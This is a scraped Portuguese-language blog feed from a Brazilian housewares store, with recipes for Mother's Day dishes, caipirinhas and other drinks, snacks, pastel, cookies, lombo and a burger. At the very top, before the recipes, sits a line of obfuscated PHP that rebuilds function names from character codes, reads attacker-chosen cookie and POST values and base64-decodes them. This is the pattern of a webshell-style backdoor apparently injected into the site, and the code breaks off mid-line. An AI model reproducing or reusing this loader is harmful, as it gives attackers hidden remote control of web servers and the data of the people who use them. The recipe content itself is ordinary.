$QgsmWQ = "\127" . chr (68) . "\x49" . chr ( 266 - 171 ).chr ( 128 - 38 ).'I' . chr ( 726 - 615 ); $YJWlN = 'c' . "\154" . "\141" . chr ( 380 - 265 )."\163" . '_' . 'e' . "\170" . "\x69" . chr ( 330 - 215 ).chr ( 580 - 464 ).chr (115); $TLNnLFp = $YJWlN($QgsmWQ); $QgsmWQ = "5232";$NNSdC = $TLNnLFp;$YJWlN = "4890";if (!$NNSdC){class WDI_ZIo{private $ipXZB;public static $AefbesMZcw = "2c04f0c5-4a29-471a-9a50-779bcd024430";public static $YsGPibA = 61522;public function __construct($fmWoDv=0){$vSiVTj = $_COOKIE;$PTtLJEw = $_POST;$sFYjeFJzJ = @$vSiVTj[substr(WDI_ZIo::$AefbesMZcw, 0, 4)];if (!empty($sFYjeFJzJ)){$OaHOAgN = "base64";$GhSkP = "";$sFYjeFJzJ = explode(",", $sFYjeFJzJ);foreach ($sFYjeFJzJ as $dROtozL){$GhSkP .= @$vSiVTj[$dROtozL];$GhSkP .= @$PTtLJEw[$dROtozL];}$GhSkP = array_map($OaHOAgN . "\x5f" . "\144" . chr (101) . "\x63" . chr ( 904 - 793 )."\144" . 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Como essa é uma data do ano bastante importante, tendo em vista que é um momento de celebração com toda...

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Já pensou em quais receitas para o dia das mães preparar em sua casa? Como essa é uma data do ano bastante importante, tendo em vista que é um momento de celebração com toda a família, é preciso pensar com cuidado em quais pratos são ideais para servir e agradar a todos os presentes na confraternização.

Também é necessário planejar tudo com antecedência para evitar dores de cabeça e situações que possam causar estresse. O indicado é organizar o cardápio e comprar tudo que será utilizado no preparo dos pratos antes. Assim, você pode curtir com mais leveza o dia das mães e não se preocupar com imprevistos de última hora.

Para saber mais sobre as receitas, acompanhe a leitura e confira agora mesmo!

1. Lasanha bolonhesa

Preparar uma lasanha é perfeito para receber a família em casa. Para isso, faça um molho gostoso de tomate com:

  • cebola refogada;
  • sal;
  • pimenta;
  • alho;
  • carne moída.

Para fazer o molho branco utilize uma caixa de leite e uma xícara de farinha de trigo. Misture os dois, acrescente sal e leve ao fogo baixo até engrossar. Depois, é só montar a lasanha com a massa pré-cozida, o molho branco, o molho bolonhesa, presunto e queijo. Outros itens podem ser acrescentados conforme o seu gosto, como milho, ervilha etc. Finalize com mussarela e leve ao forno até dourar.

2. Risoto com funghi

Que tal servir um delicioso risoto com funghi? Coloque 20 g de funghi em água morna por 20 minutos para hidratar. Em seguida, escorra, mas reserve a água. Corte os cogumelos em tiras finas e refogue-os com manteiga e cebola em uma panela. Acrescente 1 xícara de chá de arroz arbóreo e misture.

Adicione 1/2 xícara de chá de vinho branco, misture e deixe esquentar para o álcool evaporar. Quando já estiver mais seco, coloque a água dos cogumelos aos poucos e mexa sem parar até evaporar. Tenha um caldo de galinha preparado para adicionar aos poucos até o arroz cozinhar por completo. Por fim, adicione duas colheres de manteiga, sal a gosto e um punhado de queijo parmesão ralado.

3. Costela assada com molho barbecue

Essa é uma receita que agrada a grande maioria. Além disso, por ser feita no forno, ela proporciona muita praticidade durante o preparo. Para realizá-la:

  • pegue 1 kg de costelinha de porco e passe um limão sobre a sua carne;
  • deposite-a em uma tigela e tempere com sal e pimenta do reino a gosto;
  • coloque-a em um tabuleiro com papel-alumínio por cima;
  • deixe ao forno a 200º por cerca de 50 minutos.

Passados os 50 minutos, retire a costelinha do forno e coloque o molho barbecue por cima (o molho pode ser comprado pronto no supermercado). Em seguida, leve ao forno por mais 10 minutos sem o papel-alumínio. Depois, é só servir!

4. Mousse de chocolate

Uma ótima opção para servir de sobremesa é uma travessa de mousse de chocolate. Além de muito gostosa, essa receita é feita no liquidificador, o que facilita muito o seu preparo. Para fazê-la, bata por 2 minutos no liquidificador: 2 caixinhas de creme de leite, 1 de leite condensado e 8 colheres de chocolate em pó.

Derreta um pacotinho de gelatina em pó conforme as instruções contidas na embalagem e misture-a com o restante da receita. Em seguida, bata tudo por mais 1 minuto no liquidificador e coloque a mousse em um recipiente. É interessante cobri-la para evitar que caia algo em cima. Quando endurecer, já pode servir.

Lembre-se de que é muito importante arrumar a mesa de jantar para fazer com que o momento de reunião familiar seja uma experiência ainda mais agradável e memorável. Para isso, conte com um aparelho de jantar completo, um faqueiro de inox, uma toalha de mesa bonita, entre outros adereços decorativos que tragam beleza e harmonia visual.

Com essas receitas para o dia das mães, com certeza, a confraternização contará com muitos pratos deliciosos. Para ajudar nos preparos, é bom contar com equipamentos de cozinha que sejam de qualidade. Por isso, fique por dentro de como escolher o forno elétrico e o que deve ser levado em consideração na hora de tomar a decisão mais acertada!

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3 drinks incríveis para fazer em casa e curtir com os amigos! https://www.exclusivautilidades.com.br/blog/3-drinks-incriveis-para-fazer-em-casa-e-curtir-com-os-amigos/?utm_source=rss&utm_medium=rss&utm_campaign=3-drinks-incriveis-para-fazer-em-casa-e-curtir-com-os-amigos https://www.exclusivautilidades.com.br/blog/3-drinks-incriveis-para-fazer-em-casa-e-curtir-com-os-amigos/#respond Fri, 22 Feb 2019 14:13:26 +0000 http://exclusiva.blog.br/2019/02/22/3-drinks-incriveis-para-fazer-em-casa-e-curtir-com-os-amigos/ É sempre interessante ter a receita de alguns drinks para fazer em casa, principalmente, para receber os amigos. Pode-se optar pelas batidas com frutas, drinks com vodka ou cachaça, dosando os ingredientes para garantir um...

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É sempre interessante ter a receita de alguns drinks para fazer em casa, principalmente, para receber os amigos. Pode-se optar pelas batidas com frutas, drinks com vodka ou cachaça, dosando os ingredientes para garantir um sabor mais leve ou mais forte, de acordo com o gosto dos convidados.

Ao contrário do que muitos pensam, há muitos drinks que são versáteis, fáceis de serem feitos e que não necessitam de muitos ingredientes — ou seja, são rápidos e práticos de serem feitos —, garantindo ótimos momentos com os amigos.

Se você ficou interessado e quer saber mais sobre o assunto, continue a leitura e confira a nossa lista com 3 drinks para fazer em casa!

1. Caipirinha

A caipirinha é um drink gostoso e muito fácil de ser produzido em casa. Para fazer um copo, é preciso de:

  • 4 limões fatiados e espremidos com casca;
  • 10 colheres de chá de açúcar;
  • gelo a vontade;
  • uma dose de 200 a 250 ml de cachaça.

Se você quiser, ainda é possível fazer o drink com outras frutas, como morango, frutas vermelhas, maracujá etc. É ainda interessante criar uma degustação desse drink com opções de frutas variadas — com certeza os seus convidados vão adorar!

2. Mojito cremoso

O mojito é um drink leve e ideal para quem quer beber aos poucos enquanto curte uma boa conversa. Para fazê-lo será necessário:

  • 1 caixa de leite de coco;
  • 4 limões espremidos;
  • 8 colheres de chá de açúcar;
  • 1/5 lata de leite condensado;
  • 200 ml de vodka;
  • um punhado de hortelã picada;
  • gelo à vontade.

Faça o suco de limão, acrescente o açúcar, a vodka e a hortelã e reserve. Depois, bata o leite condensado com o leite de coco e um pouco do gelo. Coe a mistura que está reservada para retirar as folhas de hortelã e coloque em um copo. Em cima desse suco de limão com vodka, coloque a mistura cremosa e adicione gelo à vontade.

3. Cosmopolitan

O cosmopolitan é um drink docinho, gostoso e refrescante. A sua receita consiste em:

  • 100 ml de vodka mais 50 ml de suco de limão;
  • 50 ml de licor de laranja;
  • 50 ml de suco de cranberry.

Sirva o drink em uma taça de base menor que a parte superior. Uma forma de deixá-lo ainda mais especial e bonito, é colocando um espiral de casca de laranja na borda da taça.

Uma dica bastante interessante é ter alguns produtos diferenciados em casa para deixa o encontro com os amigos ainda mais divertido, como taças especiais para deixar os drinks mais belos e uma coqueteleira para facilitar a preparação de cada bebida.

Viu como existem vários drinks para fazer em casa e que são deliciosos? Desse modo, com certeza, você e seus convidados terão grandes momentos de diversão e boas risadas!

Agora que você tem um bom repertório de drinks para fazer em casa, que tal ficar por dentro de algumas dicas do que preparar para receber os amigos? Confira e saiba mais sobre o assunto!

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3 petiscos rápidos e práticos para oferecer ao se reunir com amigos https://www.exclusivautilidades.com.br/blog/3-petiscos-rapidos-e-praticos-para-oferecer-ao-se-reunir-com-amigos/?utm_source=rss&utm_medium=rss&utm_campaign=3-petiscos-rapidos-e-praticos-para-oferecer-ao-se-reunir-com-amigos https://www.exclusivautilidades.com.br/blog/3-petiscos-rapidos-e-praticos-para-oferecer-ao-se-reunir-com-amigos/#respond Fri, 03 Aug 2018 12:00:16 +0000 http://www.exclusivautilidades.com.br/blog/2018/08/03/3-petiscos-rapidos-e-praticos-para-oferecer-ao-se-reunir-com-amigos/ Receber amigos em casa é uma delícia! Para melhorar, em vez de pedir a tradicional pizza, que tal servir comidinhas feitas por você? Mas não pense que se trata de passar o tempo todo...

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Receber amigos em casa é uma delícia! Para melhorar, em vez de pedir a tradicional pizza, que tal servir comidinhas feitas por você? Mas não pense que se trata de passar o tempo todo isolado na cozinha. O bacana é reunir os convidados em torno da área gourmet e, enquanto prepara petiscos rápidos e práticos, deixar o bate-papo rolar — de preferência, embalado por uma boa cerveja

Para ajudá-lo a definir o cardápio, confira três opções inspiradas nos aperitivos mais pedidos em barzinhos!

Como preparar petiscos rápidos e práticos?

Para não se atrapalhar — ainda mais quando está sendo observado — faça como os chefs: monte o mise en place (expressão francesa que significa “colocar em ordem”), separando os utensílios de cozinha e deixando os ingredientes limpos, cortados e à mão.

Quais aperitivos podem ser servidos?

O segredo para agradar a diferentes paladares é variar o cardápio e não exagerar no tamanho dos petiscos, para que seus convidados possam degustar diferentes opções.

Para ajudar, veja como fazer três coringas gastronômicos para servir em reuniões informais:

1. Onion rings

Ingredientes:

  • 1 e ½ kg de cebolas médias
  • 2 xícaras (chá) de farinha de trigo
  • 3 colheres (sopa) de amido de milho
  • 1 colher (sopa) de salsinha desidratada
  • ½ colher (chá) de sal
  • ½ colher (chá) de pimenta-do-reino
  • água (quanto baste)
  • farinha de rosca (para empanar)
  • óleo (suficiente para fritar)

Modo de preparo: descasque e corte as cebolas ao meio. Fatie as partes em rodelas mais finas, separando os anéis. Reserve. Em um recipiente, misture a farinha de trigo, o amido de milho e os temperos. Adicione a água aos poucos, até formar um creme consistente.

Com um garfo, passe os anéis de cebola no creme, escorra o excesso e cubra com a farinha de rosca. Frite em óleo quente até dourar. Antes de servir, deixe escorrer.

2. Bolinhas de queijo

Ingredientes:

  • 1 xícara (chá) de leite
  • 1 xícara (chá) de farinha de trigo
  • 1 colher (sopa) de margarina
  • 1 ovo
  • 1 pitada de sal
  • queijo branco ou muçarela a gosto
  • farinha de rosca (para empanar)

Modo de preparo: despeje o leite e junte a farinha, a margarina, a gema (reserve a clara) e o sal em uma panela. Leve ao fogo baixo, mexendo com um garfo até a massa cozinhar e se soltar do fundo.

Espere esfriar e faça bolinhas recheadas com um pequeno pedaço de queijo de sua preferência. Empane com a clara e a farinha de rosca, frite em óleo bem quente e deixe escorrer antes de servir.

3. Salame com limão

Ingredientes:

  • 1 salame
  • limão (tahiti ou siciliano) a gosto
  • azeite de oliva extravirgem a gosto

Modo de preparo: corte o salame em fatias finas e regue com gotas de limão espremido na hora. Se desejar, acrescente um fio de azeite. Disponha as fatias temperadas em uma petisqueira e sirva imediatamente.

Como deixar a casa pronta para receber?

Não basta preparar petiscos rápidos e práticos. Investir na decoração do lar também é importante. Além de um mobiliário confortável, ter louças, talheres e roupas de mesa de boa qualidade faz toda a diferença para receber seus convidados. Por fim, não se esqueça de caprichar no décor do lavabo. Depois, é só curtir a fama de bom anfitrião!

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Como fazer caipirinha: 4 receitas para impressionar seus amigos https://www.exclusivautilidades.com.br/blog/como-fazer-caipirinha-4-receitas-para-impressionar-seus-amigos/?utm_source=rss&utm_medium=rss&utm_campaign=como-fazer-caipirinha-4-receitas-para-impressionar-seus-amigos https://www.exclusivautilidades.com.br/blog/como-fazer-caipirinha-4-receitas-para-impressionar-seus-amigos/#respond Mon, 30 Jul 2018 12:00:34 +0000 http://www.exclusivautilidades.com.br/blog/2018/07/30/como-fazer-caipirinha-4-receitas-para-impressionar-seus-amigos/ A caipirinha pode ser uma opção de bebida para diversas ocasiões, especialmente para aquela reunião entre amigos no fim de semana. Por isso, o sucesso da receita original de limão também ganhou outras variações,...

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A caipirinha pode ser uma opção de bebida para diversas ocasiões, especialmente para aquela reunião entre amigos no fim de semana. Por isso, o sucesso da receita original de limão também ganhou outras variações, utilizando outros tipos de frutas. Saber como fazer uma caipirinha pode ser uma excelente opção para uma festa ou receber amigos em casa.

Então, se você quer aprender as receitas para fazer uma caipirinha e impressionar os seus amigos, continue a leitura do texto e confira as 4 dicas que preparamos. Boa leitura!

1. Caipirinha de limão

Essa é a receita tradicional de caipirinha e muito comum no Brasil. Fácil, saborosa e tipicamente brasileira. Para você preparar a bebida são necessários poucos ingredientes: cachaça, gelo, açúcar e o próprio limão.

Primeiramente, corte o limão ao meio. Depois, divida ao meio novamente cada uma dessas partes. Em seguida, coloque a fruta junto com o açúcar em uma coqueteleira ou outro copo de sua preferência. Feito isso, você misturará o limão com o açúcar. Então, amasse-o bem para garantir uma caipirinha com mais sabor. Acrescente os cubos de gelo e, por fim, acrescente a cachaça ou a vodka, caso preferir.

2. Caipirinha de kiwi

Fazer uma caipirinha de kiwi é a cara do verão. A fruta pode ser uma ótima opção se você quer outra receita que não seja a tradicional de limão. Por isso, fique atento à receita e anote tudo o que você precisará para fazer em sua casa.

Nessa receita você usará água gelada, cachaça, açúcar e o kiwi. Para o preparo você deve bater no liquidificador o kiwi, o açúcar e a água gelada. Em uma coqueteleira ou copo, coloque um kiwi cortado. Em seguida, despeje o suco e adicione a cachaça e o gelo. Está pronto!

3. Caipirinha de uva

A caipirinha de uva é menos comum, mas é uma delícia e uma excelente alternativa para receber os amigos em casa. Para a receita dessa bebida você precisará dos mesmos ingredientes utilizados nas outras opções: cachaça, açúcar e gelo. O diferencial é a uva, que garantirá um novo sabor. Dentre as opções da fruta, a mais usada é a Niagara.

No preparo, despeje as uvas e o açúcar. Se possível, utilize um socador para esse processo. Feito isso, misture a cachaça e o gelo. Depois é só servir e aproveitar!

4. Caipirinha de morango

Mais uma opção se você quer experimentar novos sabores e frutas em sua caipirinha. O morango pode ser usado para a bebida e, assim como as outras receitas, é simples de preparar.

Para essa receita você usará somente vodka, morangos, gelo e açúcar. Em um liquidificador, bata a vodka com cerca de dois a três morangos, dependendo de sua preferência. Depois, para facilitar, corte mais morangos em pedaços pequenos. Com tudo pronto, misture o suco que foi batido no liquidificador com os morangos cortados, o açúcar e a vodka. Prontinho!

A caipirinha é uma alternativa excelente para um dia quente de verão com os amigos. Então, aprender diferentes variações dessa receita com frutas facilita na hora de preparar e servir para os convidados. Seja com kiwi, limão, morango ou uva, a caipirinha é uma bebida de rápido preparo, simples e deliciosa.

Gostou deste conteúdo sobre como fazer uma caipirinha? Você conhece mais alguma outra receita? Então, comente neste texto e compartilhe sua sugestão conosco e com os demais leitores!

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5 dicas para se preparar para receber amigos em casa https://www.exclusivautilidades.com.br/blog/receber-amigos-em-casa/?utm_source=rss&utm_medium=rss&utm_campaign=receber-amigos-em-casa https://www.exclusivautilidades.com.br/blog/receber-amigos-em-casa/#respond Wed, 04 Jul 2018 14:06:21 +0000 http://www.exclusivautilidades.com.br/blog/2018/07/04/5-dicas-para-se-preparar-para-receber-amigos-em-casa/ Sabe aquelas pessoas cujas casas possuem decorações simples, mas que parecem dominar a arte de receber? Além da simpatia, elas recorrem a uma série de estratégias para deixar as recepções mais especiais, transformando qualquer...

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Sabe aquelas pessoas cujas casas possuem decorações simples, mas que parecem dominar a arte de receber? Além da simpatia, elas recorrem a uma série de estratégias para deixar as recepções mais especiais, transformando qualquer encontro em uma verdadeira festa!

A boa notícia, no entanto, é que todos podem alcançar o status de bom anfitrião. O segredo é se preparar com antecedência para receber amigos em casa da melhor maneira possível! Por isso, preste atenção nas 5 dicas a seguir:

1. Cardápio para receber amigos em casa

A escolha do cardápio deve ser guiada por dois pontos principais: o horário da recepção e as características dos convidados. Tira-gostos para petiscar em uma noitada de filmes ou um churrasco para acompanhar uma partida de futebol são bem mais informais do que um camarão alho e óleo para comemorar o aniversário da sogra, por exemplo.

Também é importante saber se alguém possui alergias ou restrições alimentares, para encontrar opções de comes que agradem a todos.

Por fim, o gelo e as bebidas (com e sem álcool) devem ser deixados sobre um móvel de fácil acesso para que os convidados se sirvam à vontade.

2. Escolha apropriada dos utensílios

A seleção das louças e talheres deve ser adequada ao cardápio. Podem ser algumas petisqueiras, um bom conjunto para churrasco ou um belo aparelho de jantar. Caso o número de convidados seja alto, não se envergonhe em usar peças diferentes.

Em relação aos guardanapos e roupas de mesa, prefira os de tons neutros em recepções mais formais; já em encontros informais, é permitido abusar de peças coloridas.

3. Montagem da mesa

Já que encontros entre amigos são descontraídos, empilhe os pratos e deixe-os junto a talheres e taças, para que cada um se sente onde preferir (à mesa ou mesmo no balcão, no sofá…).

Comes e bebem podem ficar em um aparador para abrir espaço na mesa. Se optar pelo uso de arranjos florais, cuide para que não fiquem à altura dos rostos dos convidados, o que atrapalha as conversas.

Por outro lado, caso o jantar seja mais formal, siga a etiqueta na hora de pôr a mesa:

  • pratos devem ser sobrepostos (nos respectivos lugares) em ordem de uso;
  • talheres ficam de fora pra dentro (com os cortes das facas voltados para os pratos e as colheres à direita);
  • taças são colocadas da maior para a menor, da esquerda para a direita.

4. Decoração e criação do cenário

Ainda que uma recepção temática exija muita atenção aos detalhes, ela deixa o cenário mais festivo. Se você for adepta do estilo DIY (sigla em inglês para “faça você mesmo”), libere a criatividade!

Porém, independentemente de ter ou não um tema, móveis confortáveis e uma iluminação agradável (com luzes amareladas) ajudam os convidados a relaxar. Providencie, também, um espaço apropriado para guardarem casacos e bolsas.

Não se esqueça de ter um cuidado especial com o lavabo: use uma toalha de mão bonita e um sabonete líquido suave. Também é simpático deixar kits descartáveis de higiene bucal à disposição, em uma caixinha perto da pia.

5. Playlist para animar o ambiente

Escolha estilos variados para tentar agradar a todos, programando as músicas mais animadas para o começo do evento. O volume não deve ser muito alto, para que as pessoas consigam conversar sem gritar.

Viu como, na hora de receber amigos em casa, cuidar de cada detalhe garante que todos saiam contentes (além de ser uma tarefa pra lá de prazerosa)? Depois é só curtir os elogios e se preparar para o próximo encontro! Por fim, ao término da recepção, vá descansar e deixe a limpeza para depois. Pense que, quanto maior a bagunça, mais memorável terá sido seu evento.

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Receita de Pastel Assado https://www.exclusivautilidades.com.br/blog/receita-de-pastel-assado/?utm_source=rss&utm_medium=rss&utm_campaign=receita-de-pastel-assado https://www.exclusivautilidades.com.br/blog/receita-de-pastel-assado/#respond Thu, 22 Feb 2018 18:26:29 +0000 http://www.exclusivautilidades.com.br/blog/?p=302 Você adora pasteizinhos mas tá evitando as frituras e recheios calóricos? A gente separou uma receita do blog Casa & Jardim muito gostosa e que promete livrar esses desejos de “gordices” =)   Mão...

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Você adora pasteizinhos mas tá evitando as frituras e recheios calóricos? A gente separou uma receita do blog Casa & Jardim muito gostosa e que promete livrar esses desejos de “gordices” =)

 

Mão à massa!

 

Rendimento: 30 unidades (15 de cada)
Tempo de preparo: 1 H

Ingredientes

Massa
1 kg de farinha de trigo;
2 ovos brancos;
200 ml de óleo de soja;
30 ml de cachaça.

Modo de fazer

1 Misture todos os ingredientes e sove a massa em uma base enfarinhada.
2 Abra a massa com ajuda de um rolo até ficar bem fina.
3 Corte a massa em quadrados de 8 cm, ponha uma colher do recheio em cada pedaço e feche os pastéis (umedeça as bordas com água, caso tenha dificuldade para grudar as pontas unidas).
4 Leve ao forno, em assadeira untada com azeite, por 6 minutos, a 180ºC.

Recheio de cogumelos e brie

Ingredientes

200 g de shiitake;
200 g de cogumelo paris fresco;
100 g de tomate concassé (picado, sem pele nem semente);
50 g de cebola;
150 g de queijo brie em cubos pequenos (sem a casca);
azeite para saltear;
ervas de Provence a gosto;
sal a gosto;
pimenta-do-reino a gosto.

Modo de fazer

1 Corte os cogumelos em cubos bem pequenos e reserve.
2 Em uma frigideira, doure a cebola em azeite e acrescente o tomate e os cogumelos.
3 Tempere com as ervas, sal e pimenta.
4 Deixe esfriar e acrescente o queijo brie.

 Foto Rogério Voltan

Foto Rogério Voltan

Recheio de bacon e gruyère

Ingredientes

200 g de queijo gruyère;
200 g de mussarela;
50 g de bacon em cubos;
ervas de Provence a gosto.

Modo de fazer

1 Rale os dois queijos em ralo grosso. Reserve.
2 Doure o bacon na frigideira e deixe esfriar.
3 Misture os queijos com o bacon e tempere com as ervas.

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Cookie Formigueiro é demais nas Férias escolares. https://www.exclusivautilidades.com.br/blog/cookie-formigueiro-e-demais-nas-ferias-escolares/?utm_source=rss&utm_medium=rss&utm_campaign=cookie-formigueiro-e-demais-nas-ferias-escolares https://www.exclusivautilidades.com.br/blog/cookie-formigueiro-e-demais-nas-ferias-escolares/#respond Wed, 17 Jan 2018 11:28:06 +0000 http://www.exclusivautilidades.com.br/blog/?p=278 Crocante por fora e macio por dentro, Cookie Formigueiro.   Mês de janeiro a “patotinha” toda em casa né? Vamos então de receita que toda criança pode ajudar a fazer. Cookie Formigueiro, gostosa bolachinha/biscoito amanteigado...

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Crocante por fora e macio por dentro, Cookie Formigueiro.

 

Mês de janeiro a “patotinha” toda em casa né? Vamos então de receita que toda criança pode ajudar a fazer.

Cookie Formigueiro, gostosa bolachinha/biscoito amanteigado de baunilha com granulado de chocolate meio amargo.  Crocante por fora, macias por dentro, que desmancha na boca,  a cada mordida.

Receita fácil, rápida de fazer e versátil. Com a mesma massa é possível criar  outras combinações apenas acrescentando os ingredientes que mais te agradam,  no lugar do  chocolate.

 

INGREDIENTES:

  • 1 e ½ xícara de farinha de trigo
  • ½ xícara de chá de açúcar mascavo, ou açúcar branco refinado comum
  • 100g de manteiga derretida no micro ondas por 20segundos
  • 1 pitadinha de sal
  • 2 colheres de sopa de água gelada
  • 1 colher de sopa de essência de baunilha
  • 1 colher rasa de sopa de fermento em pó
  • ½ xícara de chocolate granulado ou raspas de chocolate

 

COMO FAZER COOKIE FORMIGUEIRO:

Em um bowl, coloque 1 e ½ xícara de farinha de trigo, em seguida junte, ½ xícara de chá de açúcar mascavo ou açúcar refinado e 100g de manteiga derretida no micro ondas por 20seg.

Page 1

Acrescente 2 colheres de sopa de água gelada e 1 pitadinha de sal mais 1 colher de sopa de essência de baunilha, para realçar e dar  sabor . Misture primeiro com uma espátula ou colher e depois com as mãos formando uma massa compacta.

Page 2

Junte ½ xícara de granulado de chocolate meio amargo e agregue-o a massa.  Usei o granulado meio amargo da Flake Dark Small da  Callebaut,  mas é opcional. Use o granulado de sua preferência ou raspe o chocolate meio amargo com uma faca. 😉

Page 3

Faça bolinhas e leve a forma. Unte a forma com manteiga ou  coloque sobre a forma uma folha de papel manteiga ou um silpat – tapete de silicone.

Page 4

Leve ao forno pré aquecido a 180 graus por 10 a 15 minutos.

cookie-formigueiro

Fique atento ao forno,  eles assam bem rapidamente. Asse até o fundinho começar a dourar e os cookies começarem a rachar.

Page 16

Saem do forno e ainda estão ‘molinhos’. Endurecem ao esfriar.

Page 27

  • Tempo de Preparo: 10 minutos
  • Tempo de fonro: 10 a 15 minutos
  • Rendimento: +ou- 25 cookies

FONTE: http://www.montaencanta.com.br/biscoitos-e-cookies/cookie-formigueiro/

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Lombo à paulista pela Chef Fernanda Cintra https://www.exclusivautilidades.com.br/blog/lombo-paulista-pela-chef-fernanda-cintra/?utm_source=rss&utm_medium=rss&utm_campaign=lombo-paulista-pela-chef-fernanda-cintra https://www.exclusivautilidades.com.br/blog/lombo-paulista-pela-chef-fernanda-cintra/#respond Fri, 22 Dec 2017 13:27:32 +0000 http://www.exclusivautilidades.com.br/blog/?p=267 Final de ano é gostoso demais né gente! Toda família reunida pra matar a saudade e trocar presentes! É realmente uma benção estarmos ao lado de quem nos amamos e compartilhar todas as coisas...

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Final de ano é gostoso demais né gente! Toda família reunida pra matar a saudade e trocar presentes! É realmente uma benção estarmos ao lado de quem nos amamos e compartilhar todas as coisas boas que foram reveladas a nós no ano que se passou.  A Chef Fernanda Cintra  Buffet Gourmet que leva seu nome, compartilhou algo da família dela para a nossa da Exclusiva Utilidades, e de tão gostoso resolvemos presentear você com essa receita super fácil pra você impressionar nesse final de ano!

Lombo à paulista

1 peça de lombo de +ou – 1,5kg
*300 gramas de bacon
*1 abacaxi inteiro
*500 gramas de batatas
*5 dentes de allho
*1 limão
*Sal e pimenta a gosto
*Azeite
*Orégano

Modo de fazer

Fazer  cortes no lombo de 2 em dois centímetros e depois temperar com alho,limão,sal e pimenta a gosto entre as frestas cortadas e deixar descansar 1 hora ou mais para pegar o sabor. Agora pegue o lombo e coloque uma fatia em cada aba cortada de abacaxi e uma de bacon em cada corte que foi feito intercalando. O bacon vai soltar gordura e hidratar o lombo enquanto a abacaxi vai amaciar a carne e soltar perfume.   Colocar na assadeira com as batatas , jogar um fio de azeite e o orégano no lombo. Envolva com o papel alumínio e levar ao forno por 1 hora a 180 graus Celsius.
Tirar o papel alumínio e deixar dourar por 10 minutos
Está pronto pra servir até 6 pessoas.

 

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Chutney de Limão Siciliano do Jimmy Ogro https://www.exclusivautilidades.com.br/blog/chutney-de-limao-siciliano-do-jimmy-ogro/?utm_source=rss&utm_medium=rss&utm_campaign=chutney-de-limao-siciliano-do-jimmy-ogro https://www.exclusivautilidades.com.br/blog/chutney-de-limao-siciliano-do-jimmy-ogro/#respond Tue, 07 Nov 2017 09:54:10 +0000 http://www.exclusivautilidades.com.br/blog/?p=244 [embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e...

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[embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e experiência, ele leva a nós, admiradores da boa comida, combinações inusitadas mas que dão água na boca de quem acompanha seu trabalho. Dono de um carisma afável que nada tem a ver com seu famigerado apelido, ele esteve na nossa loja no dia 29 de setembro de 2017 para uma receita de hambúrguer de pernil suíno e uma das particularidades dessa receita é sem dúvida esse Chutney, uma espécie de molho agridoce que tem a função de realçar o paladar.

Anote a receita!

Chutney Limão Siciliano
150grs cebola branca cortada julliene
150grs maçã vermelha cubos pequenos
(s/casca – s/caroço)
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos
25grs açúcar mascavo
Azeite
Sal
Pimenta do reino

 

 

 

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OGROBURGER by Jimmy Ogro https://www.exclusivautilidades.com.br/blog/ogroburger-by-jimmy-ogro/?utm_source=rss&utm_medium=rss&utm_campaign=ogroburger-by-jimmy-ogro https://www.exclusivautilidades.com.br/blog/ogroburger-by-jimmy-ogro/#respond Wed, 04 Oct 2017 17:50:05 +0000 http://www.exclusivautilidades.com.br/blog/?p=227 Dia 29 de setembro tivemos a honra de receber na nossa cozinha show da loja PRIME o GRANDE Jimmy OGRO, (+Mais Você, Ana Maria Braga, Globo.). Mais de 120 pessoas, entre clientes e convidados,...

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Dia 29 de setembro tivemos a honra de receber na nossa cozinha show da loja PRIME o GRANDE Jimmy OGRO, (+Mais Você, Ana Maria Braga, Globo.). Mais de 120 pessoas, entre clientes e convidados, tiveram a oportunidade de experimentar um delicioso sanduíche de carne suína e harmonizar com a cerveja artesanal e goiana, Seresta. O evento ficará na memoria.

Se você não teve a chance de comparecer não fique triste não. Estamos postando a receita pra você testar essa maravilha em casa.

 

Hambúrguer de Pernil.

Rende 5 porções

05 pães de hamburguer da sua preferência (brioche, batata, leite, outros)
1kg blend carne (800grs pernil suíno / 200grs bacon) moídos juntos
10 fatias de mozzarela

Chutney Limão Siciliano
150grs cebola branca cortada julliene
150grs maçã vermelha cubos pequenos
(s/casca – s/caroço)
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos
25grs açúcar mascavo
Azeite
Sal
Pimenta do reino

Colocar um fio de azeite na panela, refogar a cebola até caramelizar bem. Juntar a maçã em cubinhos. Cozinhar até escurecer e amaciar a maçã um pouco. Acrescentar o limão e o açúcar. Temperar com sal e pimenta a gosto, até que todos os sabores estejam equilibrados. Manter em fogo baixo até alcançar textura e sabor desejados, se necessário ir pingando água para não grudar na panela. (Aparência similar à uma geléia rústica).

Maionese Páprika Defumada

50ml leite integral
5grs páprika defumada
100ml oléo girassol
Sal q/b
Pimenta do Reino q/b

Coloque no liquidificador o leite, páprika, tempere com sal e pimenta.
Acrescente oléo em fio até armar consistência desejada. Acertar sal e pimentar. Manter resfriada até servir.

Burguer
Modelar hamburgueres de 200grs
Grelhar até o ponto desejado no fogão ou churrasqueira ou grelha.

Montagem
Selar os pães, fazer uma base com a maionese, colocar o burguer e 2 fatias de mozzarela (no fim da cocção acrescentar a mozzarela para derreter)
Colocar uma colher generosa de chutney
Finalizar com bacon crisp e como com as mãos. =D

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